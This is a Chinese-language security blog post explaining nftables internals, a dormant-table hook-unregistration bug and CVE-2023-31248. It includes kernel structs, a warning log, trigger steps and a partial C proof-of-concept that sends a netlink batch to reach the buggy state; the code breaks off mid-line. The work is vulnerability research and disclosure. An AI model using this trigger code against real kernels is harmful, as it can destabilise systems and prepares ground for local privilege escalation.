nftables漏洞挖掘与利用:CVE-2023-31248深度分析

本文深入分析了nftables子系统中的CVE-2023-31248漏洞,包括其触发机制、利用方法以及补丁分析,涉及内核内存管理、竞争条件利用和ROP链构建等技术细节。

nftables Adventures: Bug Hunting and N-day Exploitation (CVE-2023-31248)

引言

在实习期间,我一直在研究并尝试发现nftables子系统中的漏洞。在这篇博客文章中,我将讨论我发现的一个漏洞,以及由Mingi Cho发现的n-day漏洞CVE-2023-31248的利用。

nftables简介

nftables是一个现代的数据包过滤框架,旨在取代传统的{ip,ip6,arp,eb}_tables(xtables)基础设施。它重用了现有的netfilter钩子,这些钩子作为处理程序的入口点,对数据包执行各种操作。Nftables表对象包含链对象的列表,链对象包含规则对象的列表,规则最终包含表达式,这些表达式执行伪状态机的操作。

表是顶级对象,包含链、集合、对象和流表。在内部,表由struct nft_table表示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
struct nft_table {
    struct list_head        list;
    struct rhltable         chains_ht;
    struct list_head        chains;
    struct list_head        sets;
    struct list_head        objects;
    struct list_head        flowtables;
    u64             hgenerator;
    u64             handle;
    u32             use;
    u16             family:6,
                    flags:8,
                    genmask:2;
    u32             nlpid;
    char            *name;
    u16             udlen;
    u8              *udata;
    u8              validate_state;
};

表可以有多个不同的标志。用户可以在创建表时设置标志NFT_TABLE_F_DORMANT和/或NFT_TABLE_F_OWNER(nf_tables_newtable)。休眠状态标志(NFT_TABLE_F_DORMANT)可以在nf_tables_updtable中更新。如果设置了NFT_TABLE_F_DORMANT(0x1),表将进入休眠状态,其所有基础链钩子将被注销,但表不会被删除。还有内部设置的__NFT_TABLE_F_UPDATE标志,包括__NFT_TABLE_F_WAS_AWAKEN和__NFT_TABLE_F_WAS_DORMANT。

链可以是基础链,它们注册了netfilter钩子且不能被跳转至,或者是普通链,它们没有注册钩子但可以被跳转至。在内部,链由struct nft_chain表示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
struct nft_chain {
    struct nft_rule_blob        __rcu *blob_gen_0;
    struct nft_rule_blob        __rcu *blob_gen_1;
    struct list_head        rules;
    struct list_head        list;
    struct rhlist_head      rhlhead;
    struct nft_table        *table;
    u64             handle;
    u32             use;
    u8              flags:5,
                    bound:1,
                    genmask:2;
    char            *name;
    u16             udlen;
    u8              *udata;

    /* Only used during control plane commit phase: */
    struct nft_rule_blob        *blob_next;
};

基础链由struct nft_base_chain表示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
struct nft_base_chain {
    struct nf_hook_ops      ops;
    struct list_head        hook_list;
    const struct nft_chain_type *type;
    u8              policy;
    u8              flags;
    struct nft_stats __percpu   *stats;
    struct nft_chain        chain;
    struct flow_block       flow_block;
};

规则

规则包含nftables表达式。在内部,规则由struct nft_rule表示。

1
2
3
4
5
6
7
8
9
struct nft_rule {
    struct list_head        list;
    u64             handle:42,
                    genmask:2,
                    dlen:12,
                    udata:1;
    unsigned char           data[]
        __attribute__((aligned(__alignof__(struct nft_expr))));
};

表达式

表达式充当状态机的操作。有许多表达式,例如:

  • Bitwise:执行位操作
  • Immediate:将数据加载到寄存器中。还允许跳转/转到另一个普通链
  • Byteorder:更改主机/网络字节序
  • Compare:比较两个寄存器中的值
  • Counter:在规则中启用计数器

在内部,表达式由struct nft_expr表示。

1
2
3
4
5
struct nft_expr {
    const struct nft_expr_ops   *ops;
    unsigned char           data[]
        __attribute__((aligned(__alignof__(u64))));
};

每个表达式还有一个struct nft_expr_ops,表示各种操作。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
struct nft_expr_ops {
    void            (*eval)(const struct nft_expr *expr,
                        struct nft_regs *regs,
                        const struct nft_pktinfo *pkt);
    int             (*clone)(struct nft_expr *dst,
                        const struct nft_expr *src);
    unsigned int    size;
    int             (*init)(const struct nft_ctx *ctx,
                        const struct nft_expr *expr,
                        const struct nlattr * const tb[]);
    void            (*activate)(const struct nft_ctx *ctx,
                        const struct nft_expr *expr);
    void            (*deactivate)(const struct nft_ctx *ctx,
                        const struct nft_expr *expr,
                        enum nft_trans_phase phase);
    void            (*destroy)(const struct nft_ctx *ctx,
                        const struct nft_expr *expr);
    void            (*destroy_clone)(const struct nft_ctx *ctx,
                        const struct nft_expr *expr);
    int             (*dump)(struct sk_buff *skb,
                        const struct nft_expr *expr,
                        bool reset);
    int             (*validate)(const struct nft_ctx *ctx,
                        const struct nft_expr *expr,
                        const struct nft_data **data);
    bool            (*reduce)(struct nft_regs_track *track,
                        const struct nft_expr *expr);
    bool            (*gc)(struct net *net,
                        const struct nft_expr *expr);
    int             (*offload)(struct nft_offload_ctx *ctx,
                        struct nft_flow_rule *flow,
                        const struct nft_expr *expr);
    bool            (*offload_action)(const struct nft_expr *expr);
    void            (*offload_stats)(struct nft_expr *expr,
                        const struct flow_stats *stats);
    const struct nft_expr_type *type;
    void                    *data;
};

生成掩码系统

许多nftables对象都有一个2位的生成掩码,指定对象在当前和/或下一代中是否活动。如果设置了位,对象在该代中不活动。有一个整体的gencursor定义代表当前代的位。对象可以有以下状态:

  • 在当前和下一代中都活动(例如,未更改的对象)
  • 在当前代中活动,在下一代中不活动(例如,标记为删除的对象)
  • 在当前代中不活动,在下一代中活动(例如,新创建的对象)

控制平面、事务系统和事务工作器

在nftables中,用户空间请求的操作(通过netlink消息)在控制平面中执行,包括诸如nf_tables_newtable、nf_tables_updtable、nf_tables_newchain等函数。控制平面负责对象的创建和分配、在下一代中激活/停用对象、链接对象以及修改对象的“use”引用计数。然而,新创建的对象在创建后不会立即激活;它们只在提交阶段当新代开始时激活。控制平面中涉及创建或更新对象的所有操作都会向事务列表添加一个新事务。

当netlink批处理事务被认为是有效的(即控制平面中的所有操作不返回错误)时,进入提交阶段并调用nf_tables_commit。将开始一个新代,导致所有新创建的对象变为活动状态,并执行事务列表中的操作。提交阶段还负责取消链接要删除的对象,并排队负责销毁对象的异步事务工作器(nf_tables_trans_destroy_work)。

异步事务工作器运行时,将调用nft_commit_release,最终将调用销毁和释放标记为删除的对象的函数。

nftables休眠状态链钩子注销漏洞

在研究nftables时,通过手动源代码审查,我能够识别出一个导致警告splat的漏洞。漏洞报告可以在这里看到:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/nf_tables_api.c?id=c9bd26513b3a11b3adb3c2ed8a31a01a87173ff1

当新创建的表通过nf_tables_updtable从活动更新为休眠时,表标志设置为NFT_TABLE_F_DORMANT,并且由于没有设置任何__NFT_TABLE_F_UPDATE标志,将设置__NFT_TABLE_F_WAS_AWAKEN标志。当从活动更新表到休眠时,链钩子直到调用nf_tables_commit才被停用。然而,当表从休眠更新为活动时,NFT_TABLE_F_DORMANT标志被取消设置。然后检查是否设置了任何__NFT_TABLE_F_UPDATE标志,如果没有设置,链钩子立即由nf_tables_table_enable激活(即在调用nf_tables_commit之前)。此代码行为如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
static int nf_tables_updtable(struct nft_ctx *ctx) {
    ...
        if ((flags & NFT_TABLE_F_DORMANT) &&
        !(ctx->table->flags & NFT_TABLE_F_DORMANT)) {
        ctx->table->flags |= NFT_TABLE_F_DORMANT;
        if (!(ctx->table->flags & __NFT_TABLE_F_UPDATE))
            ctx->table->flags |= __NFT_TABLE_F_WAS_AWAKEN;
    } else if (!(flags & NFT_TABLE_F_DORMANT) &&
           ctx->table->flags & NFT_TABLE_F_DORMANT) {
        ctx->table->flags &= ~NFT_TABLE_F_DORMANT;
        if (!(ctx->table->flags & __NFT_TABLE_F_UPDATE)) {
            ret = nf_tables_table_enable(ctx->net, ctx->table);
            if (ret < 0)
                goto err_register_hooks;

            ctx->table->flags |= __NFT_TABLE_F_WAS_DORMANT;
        }
    }
    ...
}

可以以某种方式激活/停用表,使得在某个时间点,一些链被注册而一些链未被注册。这可以通过将活动表更新为休眠来实现,以便设置__NFT_TABLE_F_WAS_AWAKEN标志(这是__NFT_TABLE_F_UPDATE标志之一),然后将休眠表更新为活动。由于设置了__NFT_TABLE_F_UPDATE标志之一,跳过了nf_tables_table_enable,留下一些链未注册。当删除活动表时,nf_tables_unregister_hook仅检查NFT_TABLE_F_DORMANT标志是否为零。如果标志未设置,所有基础链都被假定为活动状态,因此所有链钩子将被停用,即使它们最初未注册。这导致显示以下警告:

1
2
3
4
[ 1411.118307] ------------[ cut here ]------------
[ 1411.119665] hook not found, pf 2 num 3
[ 1411.119708] WARNING: CPU: 1 PID: 367 at net/netfilter/core.c:517 __nf_unregister_net_hook+0xf8/0x2e0
...

此漏洞在以下提交中引入: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/nf_tables_api.c?id=179d9ba5559a756f4322583388b3213fe4e391b0

触发漏洞

要触发漏洞,应采取以下步骤(在同一批处理事务中):

  1. 创建表“test_table” – 此表是活动的 [1]
  2. 将表“test_table”从活动更新为休眠 [2] a. 设置NFT_TABLE_F_DORMANT和__NFT_TABLE_F_WAS_AWAKEN表标志
  3. 添加基础链“chain1” – 此基础链添加到休眠表中,因此未注册 [3]
  4. 将表“test_table”从休眠更新为活动 [4] a. NFT_TABLE_F_DORMANT标志被清零,但__NFT_TABLE_F_WAS_AWAKEN标志仍然设置,导致跳过nf_tables_enable_table
  5. 使用nft实用程序删除活动表“test_table”:nft delete table test_table [5]

表在删除时是活动的,因此当表被刷新时,所有基础链被视为已注册并将被注销。然而,由于基础链“chain1”从未注册,内核将尝试注销未注册的链,导致警告。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
#define _GNU_SOURCE
#include <stdio.h> 
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <stddef.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <time.h>

#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>

#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>

struct unft_base_chain_param {
    uint32_t hook_num;
    uint32_t prio;
};

struct nftnl_table* build_table(char* name, uint16_t family) {
    struct nftnl_table* t = nftnl_table_alloc();
    nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
    nftnl_table_set_str(t, NFTNL_TABLE_NAME, name);
    return t;
}

struct nftnl_chain* build_chain(char* table_name, char* chain_name, struct unft_base_chain_param* base_param, uint32_t chain_id) {
    struct nftnl_chain* c;
    c = nftnl_chain_alloc();
    nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, chain_name);
    nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table_name);
    if (base_param) {
        nftnl_chain_set_u32(c, NFTNL_CHAIN_HOOKNUM, base_param->hook_num);
        nftnl_chain_set_u32(c, NFTNL_CHAIN_PRIO, base_param->prio);
    }
    if (chain_id) {
        nftnl_chain_set_u32(c, NFTNL_CHAIN_ID, chain_id);
    }
    return c;
}

int main(void) {
    char buf[MNL_SOCKET_BUFFER_SIZE];
    struct nlmsghdr *nlh;
    struct mnl_nlmsg_batch *batch;
    int ret;
    int seq = time(NULL);
    uint8_t family = NFPROTO_IPV4;

    struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }
    
    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("mnl_socket_bind");
        exit(EXIT_FAILURE);
    } 

    // Start nl message
    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);
    
    // Create active table "test_table" [1]
    struct nftnl_table * t = build_table("test_table", NFPROTO_IPV4);
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_table_nlmsg_build_payload(nlh, t);
    mnl_nlmsg_batch_next(batch);
    
    // Update table "test_table" -- table is now dormant [2]
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_table_set_u32(t, NFTNL_TABLE_FLAGS, 0x1);
    nftnl_table_nlmsg_build_payload(nlh, t);
    mnl_nlmsg_batch_next(batch);
    
    // Add basechain "chain1" -- not registered [3]
    struct unft_base_chain_param bp2;
    bp2.hook_num = NF_INET_LOCAL_OUT;
    bp2.prio = 11;
    struct nftnl_chain * c = build_chain("test_table", "chain1", &bp2, 11);
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, c);
    mnl_nlmsg_batch_next(batch);
    
    // Update table "test_table" -- table is now active [4]
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_table_set_u32(t, NFTNL_TABLE_FLAGS, 0x0);
    nftnl_table_nlmsg_build_payload(nlh, t);
    mn
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计